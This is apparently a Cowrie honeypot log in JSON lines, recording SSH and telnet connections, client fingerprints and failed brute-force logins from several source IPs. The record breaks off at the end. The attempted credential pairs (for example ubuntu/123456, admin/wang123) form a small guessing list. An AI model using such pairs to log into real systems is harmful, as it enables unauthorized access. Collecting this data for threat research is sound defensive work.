{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:40.703804Z","src_ip":"177.54.62.66","session":"69ca7e85fcc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37186,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a49ac3d8cb7","protocol":"ssh","message":"New connection: 159.203.92.129:37186 (159.203.135.109:22) [session: 1a49ac3d8cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:45.126987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:45.131795Z","src_ip":"159.203.92.129","session":"1a49ac3d8cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:45.136013Z","src_ip":"159.203.92.129","session":"1a49ac3d8cb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Sinus","password":"Sinus","message":"login attempt [Sinus/Sinus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:45.145589Z","src_ip":"159.203.92.129","session":"1a49ac3d8cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:46.152826Z","src_ip":"159.203.92.129","session":"1a49ac3d8cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":36576,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9f798087d57","protocol":"ssh","message":"New connection: 170.79.37.88:36576 (159.203.135.109:22) [session: a9f798087d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:15.563817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:15.568734Z","src_ip":"170.79.37.88","session":"a9f798087d57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:15.675421Z","src_ip":"170.79.37.88","session":"a9f798087d57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste2","password":"teste2","message":"login attempt [teste2/teste2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:16.113251Z","src_ip":"170.79.37.88","session":"a9f798087d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:17.217480Z","src_ip":"170.79.37.88","session":"a9f798087d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":52928,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f8e7b9064c8","protocol":"ssh","message":"New connection: 80.94.92.186:52928 (159.203.135.109:22) [session: 5f8e7b9064c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:18.231703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:18.393430Z","src_ip":"80.94.92.186","session":"5f8e7b9064c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:18.397562Z","src_ip":"80.94.92.186","session":"5f8e7b9064c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:19.493940Z","src_ip":"80.94.92.186","session":"5f8e7b9064c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:20.880910Z","src_ip":"80.94.92.186","session":"5f8e7b9064c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00263714790344,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:22.599377Z","src_ip":"191.9.35.16","session":"627488aada3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.9.35.16","src_port":44568,"dst_ip":"10.17.0.5","dst_port":23,"session":"66b18a9985af","protocol":"telnet","message":"New connection: 191.9.35.16:44568 (10.17.0.5:23) [session: 66b18a9985af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:24.299942Z"}
{"eventid":"cowrie.session.closed","duration":120.00554370880127,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:28.723623Z","src_ip":"191.9.35.16","session":"8ff00b07874f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35402,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf77cb2463ea","protocol":"ssh","message":"New connection: 159.203.92.129:35402 (159.203.135.109:22) [session: cf77cb2463ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:30.669602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:30.675270Z","src_ip":"159.203.92.129","session":"cf77cb2463ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:30.681045Z","src_ip":"159.203.92.129","session":"cf77cb2463ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Soyoun","password":"123456","message":"login attempt [Soyoun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:30.738227Z","src_ip":"159.203.92.129","session":"cf77cb2463ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:31.746012Z","src_ip":"159.203.92.129","session":"cf77cb2463ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":58327,"dst_ip":"10.17.0.5","dst_port":22,"session":"135d499b16e4","protocol":"ssh","message":"New connection: 177.54.62.66:58327 (10.17.0.5:22) [session: 135d499b16e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:51.967598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:51.972558Z","src_ip":"177.54.62.66","session":"135d499b16e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:52.104664Z","src_ip":"177.54.62.66","session":"135d499b16e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"wang123","message":"login attempt [admin/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:52.679077Z","src_ip":"177.54.62.66","session":"135d499b16e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:53.817070Z","src_ip":"177.54.62.66","session":"135d499b16e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":41934,"dst_ip":"159.203.135.109","dst_port":22,"session":"1de498aa81a6","protocol":"ssh","message":"New connection: 170.79.37.88:41934 (159.203.135.109:22) [session: 1de498aa81a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:59.136301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:59.140603Z","src_ip":"170.79.37.88","session":"1de498aa81a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:59.238919Z","src_ip":"170.79.37.88","session":"1de498aa81a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"Pa$$w0rd","message":"login attempt [testuser/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:51:59.667748Z","src_ip":"170.79.37.88","session":"1de498aa81a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:00.772074Z","src_ip":"170.79.37.88","session":"1de498aa81a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54014,"dst_ip":"159.203.135.109","dst_port":22,"session":"01a36dbfcd38","protocol":"ssh","message":"New connection: 159.203.92.129:54014 (159.203.135.109:22) [session: 01a36dbfcd38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:15.857093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:15.862206Z","src_ip":"159.203.92.129","session":"01a36dbfcd38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:15.867634Z","src_ip":"159.203.92.129","session":"01a36dbfcd38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Soyoun","password":"korea2010","message":"login attempt [Soyoun/korea2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:15.883327Z","src_ip":"159.203.92.129","session":"01a36dbfcd38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:16.891240Z","src_ip":"159.203.92.129","session":"01a36dbfcd38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":49802,"dst_ip":"159.203.135.109","dst_port":22,"session":"114df3197964","protocol":"ssh","message":"New connection: 170.79.37.88:49802 (159.203.135.109:22) [session: 114df3197964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:43.054026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:43.058312Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["s